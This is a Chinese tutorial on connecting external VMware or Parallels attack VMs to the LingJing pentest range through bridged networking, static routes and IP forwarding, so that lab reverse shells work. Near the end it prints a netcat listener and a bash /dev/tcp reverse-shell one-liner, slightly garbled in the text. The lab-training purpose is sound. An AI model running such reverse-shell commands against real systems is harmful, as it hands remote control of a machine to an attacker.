LingJing(灵境)与外部虚拟机的网络穿透实战:从NAT困境到桥接畅通
1. 为什么你的反向Shell总是“失联”从NAT困境说起如果你和我一样是个喜欢在本地搭建渗透测试环境的爱好者那你肯定遇到过这个让人抓狂的场景在LingJing灵境靶场里靶机明明启动了从你的VMware或者Parallels Desktop虚拟机里也能ping通靶机的IP甚至能用浏览器访问它的Web服务。但当你兴冲冲地丢出一个反向Shell的Payload期待在虚拟机的监听端口上看到连接时却只等来一片死寂。那种感觉就像你对着山谷大喊却听不到任何回声。这个问题我踩过坑也帮不少朋友解决过。其根源十有八九出在虚拟机的网络模式上。很多人尤其是刚开始接触混合虚拟化环境的朋友为了方便会直接使用虚拟机软件默认的NAT网络地址转换模式。这个模式在大多数上网、开发场景下确实省心但在需要双向、主动通信的渗透测试训练里它就变成了一个“单向门”。让我用个更生活的比喻来解释。假设你的宿主机比如你的Windows或Mac电脑是一个大型社区的门卫室LingJing靶场是社区里的A栋楼你的外部虚拟机比如Kali Linux是社区外的B栋楼。NAT模式就好比门卫室只给B栋楼的居民办了“出门卡”。B栋的人虚拟机可以凭卡出门主动来A栋靶机串门、送东西发起连接。但是当A栋的人想主动回访B栋时门卫一看“嗯这人没有B栋的进门登记信息啊我也不知道该把他领到B栋哪一户。”于是回访就被礼貌地拦下了。这就是反向Shell失败的原因靶机想主动连接虚拟机时宿主机上的NAT服务不知道把这个连接请求转发给谁。所以如果你只做正向连接比如虚拟机主动去连接靶机的某个服务NAT模式可能勉强能用。但渗透测试里反向Shell、反弹TCP连接、C2回连这些核心技巧都要求靶机能“主动”找到你的攻击机。不解决这个“单向门”问题你的实战训练就会处处受限。接下来我们就一起动手把这扇门彻底打开实现真正的网络畅通。2. 桥接网络给你的虚拟机一个“独立门牌号”既然NAT模式是“单向门”那我们的目标就是给虚拟机也办一个“独立门牌号”让它和宿主机、LingJing靶场路由都处在同一个“社区局域网”里。这个解决方案就是桥接Bridged网络模式。切换到桥接模式本质上是让虚拟机软件在宿主机物理网卡上“虚拟”出一个交换机端口。你的虚拟机会通过这个端口直接连接到宿主机所在的物理网络中。这样一来虚拟机就像一台真实、独立的电脑一样会从你家的路由器或公司网络DHCP服务器那里拿到一个同网段的IP地址。例如你宿主机IP是192.168.1.100虚拟机可能拿到192.168.1.101。此时虚拟机、宿主机、以及你家网络里的其他设备比如智能音箱、手机在逻辑上都是平起平坐的邻居。那么这和LingJing有什么关系呢LingJing平台在启动时会在你宿主机上虚拟出一张网卡比如LingJing-Bridge并创建一个独立的虚拟网络例如192.168.88.0/24同时自己扮演这个网络的路由器网关通常是192.168.88.1。当靶机启动后它会存在于192.168.88.0/24这个网段里。我们的核心目标就是让处在192.168.1.0/24这个“物理家庭网络”里的虚拟机能够找到通往192.168.88.0/24这个“虚拟靶场网络”的路。桥接模式是实现这个目标的第一步也是最关键的一步。它让虚拟机获得了在“物理网络”层面的通信能力。但仅仅桥接还不够因为你的家庭路由器并不知道192.168.88.0/24这个网络在哪。这就需要我们手动地、明确地告诉虚拟机“嘿如果你想去靶场的网络别问路由器直接把数据包交给宿主机上那个LingJing虚拟网卡的地址就行。”这就是后面要做的添加静态路由。我个人的经验是一旦你理解了“桥接是让虚拟机获得独立身份路由是告诉它如何去靶场”整个配置过程就会变得非常清晰。无论是Windows上的VMware Workstation还是Mac上的Parallels Desktop思路都是一致的只是操作界面的按钮位置不同而已。下面我们就分平台看看具体的操作和那些需要注意的“坑”。3. Windows实战VMware Workstation 桥接配置详解在Windows环境下VMware Workstation是很多人的首选。它的网络设置功能强大但也相对复杂容易配错。我刚开始用的时候就被它各种虚拟网络适配器搞得晕头转向。后来摸清了规律其实就三步改桥接、配网卡、加路由。3.1 将虚拟机网络模式改为桥接首先确保你的虚拟机是关机状态。右键点击虚拟机选择“设置”。找到“网络适配器”选项。在“网络连接”部分你会看到几个选项桥接模式、NAT模式、仅主机模式等。这里我们选择“桥接模式”。关键点来了“桥接到”哪个网络默认可能是“自动”或者某个具体的物理网卡如你的有线网卡或Wi-Fi网卡。这里有个小坑你不能把它桥接到LingJing平台创建的那张虚拟网卡上比如VMnet开头的或者名为LingJing-Bridge的。因为那张卡是给靶场网络内部用的。正确的做法是在下拉菜单里选择你宿主机当前正在上网使用的那个物理网卡。如果你用Wi-Fi上网就选无线网卡如果用网线就选有线网卡。这一步的目的是让虚拟机接入你的真实局域网。设置完成后启动虚拟机。进入系统后打开命令行输入ipconfigWindows或ifconfigLinux Kali你应该能看到虚拟机获取到了一个和你宿主机同网段的IP地址比如192.168.1.xxx。这说明桥接成功了虚拟机现在是你家庭网络里的一名“合法居民”了。3.2 解决多网卡冲突与路由添加有时候你可能会发现虚拟机启动后上不了网或者ipconfig显示了很多奇怪的IP。这通常是因为虚拟机里存在多张网卡产生了冲突。一个干净的配置方法是在VMware的虚拟机设置里暂时移除其他不必要的网络适配器只保留我们刚才配置为桥接模式的那一个。现在虚拟机可以自由访问互联网和你局域网的其他设备了但它还不知道如何去LingJing的靶场网络。我们需要手动添加一条静态路由。找到LingJing平台的网关地址启动LingJing平台通常在主界面或者网络设置里你能看到虚拟路由器的IP地址也就是靶场网络的网关。我们假设它是192.168.88.1靶场网段是192.168.88.0/24。在虚拟机中添加路由如果你的攻击机是Windows 虚拟机需要以管理员身份打开命令提示符CMD或PowerShell执行以下命令route add 192.168.88.0 mask 255.255.255.0 192.168.1.1这条命令的意思是所有发送到192.168.88.0这个网段的数据包都请转发给我物理网络的网关192.168.1.1这里假设是你的家庭路由器IP。但等等这样真的对吗实际上因为家庭路由器也不知道192.168.88.0在哪数据包会被丢弃。更精准的做法是将下一跳指向你宿主机在物理网络中的IP地址例如192.168.1.100但前提是宿主机需要开启IP转发并对该流量做处理这对新手来说太复杂。更通用且正确的方法VMware提供了一个更优雅的解决方案——为LingJing网络单独添加一张使用“仅主机模式”的网卡。但根据原始文章的提示一个更直接的技巧是利用LingJing平台生成的命令。LingJing平台通常提供一个“复制路由命令”的功能这个命令是预先配置好的包含了正确的下一跳地址这个地址往往是宿主机上连接LingJing虚拟网络的那个接口的IP。你只需要在虚拟机里以管理员权限运行这个命令即可。这是最不容易出错的方法。如果平台没有提供对于Kali Linux 虚拟机添加路由的命令是sudo ip route add 192.168.88.0/24 via 192.168.1.100 dev eth0这里的192.168.1.100需要替换为你宿主机在物理网络中的实际IP地址eth0是Kali虚拟机桥接网卡的名字可能是ens33等请用ip addr命令查看确认。添加路由后立刻在虚拟机里ping一下靶机的IP例如192.168.88.100。如果能看到回复那么恭喜你从虚拟机到靶机的正向通道就彻底打通了。此时你再尝试让靶机反弹一个Shell到你的虚拟机IP和端口会发现连接瞬间建立那种畅快感是之前被NAT困扰时无法比拟的。4. Mac实战Parallels Desktop 桥接配置指南在Mac平台Parallels Desktop以其与macOS深度集成的优秀体验著称但在网络配置上尤其是和LingJing这类虚拟网络平台联动时也有其独特之处。很多Mac用户习惯使用“共享网络”模式这其实就是Parallels版的NAT模式会遭遇和Windows下VMware NAT同样的问题——反向Shell不通。所以我们的核心思路依然是告别共享网络拥抱桥接模式。4.1 配置Parallels虚拟机使用桥接网络首先关闭你的虚拟机比如Kali Linux。在Parallels Desktop的控制中心选中该虚拟机点击右上角的“齿轮”图标进入配置。找到“硬件” - “网络”选项。在“网络适配器”的“源”下拉菜单中默认可能是“共享网络”。点击它将其更改为“桥接网络”。和VMware类似这里也会有一个“桥接到”的选择。这里的选择至关重要。它应该桥接到你Mac电脑当前正在用于连接互联网的网络适配器。如果你的Mac是用Wi-Fi上网就选择“Wi-Fi”如果通过USB-C转网线接口上网就选择对应的以太网适配器。请勿选择任何带有“Parallels”字样的虚拟适配器。有一个高级选项“在访客操作系统中显示为‘以太网’”通常保持默认勾选即可。保存配置并启动虚拟机。进入系统后同样用ifconfig或ip addr命令查看网络。你应该能看到虚拟机获取到了一个与你的Mac同网段的IP地址例如Mac是192.168.1.50虚拟机拿到192.168.1.150。这证明桥接成功虚拟机已经接入你的家庭局域网。4.2 路由添加与连通性测试桥接成功只是万里长征第一步。此时虚拟机依然无法访问LingJing的靶场网络因为路由是缺失的。我们需要手动添加这条关键的路由。确定靶场网络信息打开LingJing平台记下虚拟路由器的IP网关例如192.168.88.1和整个网段例如192.168.88.0/24。在Parallels虚拟机中添加静态路由对于Windows 虚拟机同样以管理员身份运行CMD或PowerShell。这里的关键是确定“下一跳”地址。在Parallels桥接模式下最可靠的下一跳地址就是你宿主机Mac的IP地址。假设你的Mac在局域网IP是192.168.1.50那么命令如下route add 192.168.88.0 mask 255.255.255.0 192.168.1.50执行后可以用route print命令查看是否添加成功。对于Kali Linux 虚拟机打开终端使用sudo权限执行sudo ip route add 192.168.88.0/24 via 192.168.1.50 dev eth0同样192.168.1.50需要替换成你Mac的实际IPeth0需要替换成Kali虚拟机中桥接网卡的实际名称使用ip link show查看。利用LingJing平台命令推荐和Windows平台一样最省心的方法是使用LingJing平台提供的“一键复制路由命令”功能。这个命令已经为你计算好了正确的参数直接在虚拟机终端中粘贴执行即可能避免手动输入错误。添加路由后立即进行测试。在虚拟机终端里尝试ping一个LingJing平台内的靶机IP。如果收到回复说明路由生效正向通道建立。最后的验证启动一个靶机在虚拟机中运行Netcat监听一个端口nc -lvnp 4444然后在靶机上尝试执行一个反向Shell连接命令例如bash -c bash -i /dev/tcp/192.168.1.150/4444 01其中192.168.1.150是你的虚拟机IP。如果监听端瞬间收到了连接并出现了可交互的Shell那么恭喜你Mac平台下双向无阻的网络穿透也完美实现了。从此无论是正向Shell、反向Shell还是更复杂的多层跳板、C2通信在这个混合虚拟化环境里都将畅通无阻。5. 避坑指南与高阶技巧分享配置的过程看似简单但实际动手时总会遇到一些意想不到的问题。这里我把自己和朋友们遇到过的一些“坑”以及解决办法总结一下希望能帮你少走弯路。坑1桥接后虚拟机无法上网现象改为桥接模式后虚拟机本身连互联网都访问不了了。原因最常见的原因是宿主机防火墙特别是Windows Defender防火墙或第三方安全软件阻止了虚拟机的网络访问或者虚拟机桥接到的那个物理网络本身有访问限制比如某些企业网络会绑定MAC地址。解决首先检查宿主机防火墙尝试暂时关闭防火墙测试。如果是在公司网络桥接模式可能受限可以尝试改用“NAT模式端口转发”的折中方案下文会提。在家用网络确保路由器DHCP功能正常。坑2路由添加成功但ping不通靶机现象路由命令执行没报错但ping靶机IP时显示“目标主机不可达”或超时。原因宿主机IP转发未开启这是最核心的原因。当虚拟机把去往靶场网络的数据包发给宿主机IP时宿主机需要扮演一个路由器的角色将数据包从物理网卡转发到LingJing的虚拟网卡上。在Windows和macOS上默认是关闭IP转发的。宿主机防火墙拦截即使转发开了防火墙也可能拦截这些跨网段的转发数据包。下一跳地址不对手动添加路由时下一跳地址填错了没有指向宿主机的物理IP。解决对于Windows以管理员身份打开PowerShell运行Set-NetIPInterface -Forwarding Enabled来启用IP转发重启可能失效。更一劳永逸的方法是依赖LingJing平台自身的网络设计。好的靶场平台如灵境会在宿主机层面设置好正确的路由和防火墙规则这也是为什么强烈建议使用平台提供的路由命令而不是自己手动计算。对于macOS在终端执行sudo sysctl -w net.inet.ip.forwarding1可临时开启IP转发。要永久生效需修改/etc/sysctl.conf文件。同样平台提供的命令通常会处理这些。检查防火墙在宿主机上为虚拟网卡和物理网卡创建允许规则或测试时暂时关闭防火墙。坑3每次重启虚拟机或宿主机后路由丢失现象配置好的路由重启后就没了。原因用route add或ip route add添加的是临时路由系统重启后失效。解决需要添加永久静态路由。Windows虚拟机在CMD中用route add -p命令-p参数表示永久。或者通过“控制面板-网络和共享中心-更改适配器设置-右键网卡-属性-IPv4-高级-添加”来设置。Kali Linux虚拟机将路由命令写入网络配置文件。例如编辑/etc/network/interfacesDebian系传统或在/etc/systemd/network/下创建.network文件亦或者最简单的方法是在/etc/rc.local文件中添加那条ip route add命令确保rc.local有执行权限。高阶技巧当桥接不可用时的备选方案——端口转发在某些严格限制的网络环境如公司办公网桥接模式可能完全无法获取IP。此时可以退回使用虚拟机的NAT模式但通过配置端口转发来打通反向Shell。原理在虚拟机软件的网络设置中将宿主机的某个端口如2222映射到虚拟机的某个IP和端口如192.168.xx.xx:4444。当靶机反向连接到宿主机的2222端口时虚拟机软件会把这个连接转发给虚拟机内的4444端口。操作以VMware NAT为例编辑虚拟机的.vmx配置文件或在虚拟网络编辑器中配置NAT设备的端口转发规则。局限需要为每个需要通信的端口手动配置转发比较繁琐且不适用于需要大量动态端口的复杂攻击场景。但在网络受限时是让训练得以继续的救命稻草。最后分享一个个人习惯在开始一次完整的渗透测试训练前我会先用一个简单的“网络诊断三步曲”来确认环境是否就绪1. 虚拟机ping通宿主机2. 虚拟机ping通LingJing路由网关3. 虚拟机ping通一台已启动的靶机。这三步都通了再去部署Payload成功率会高很多。网络是渗透测试的基础把基础打牢后面的各种技巧和工具才能发挥出最大威力。希望这篇从踩坑到填坑的详细指南能让你在LingJing与外部虚拟机的联动之路上一路畅通。
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2411096.html
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!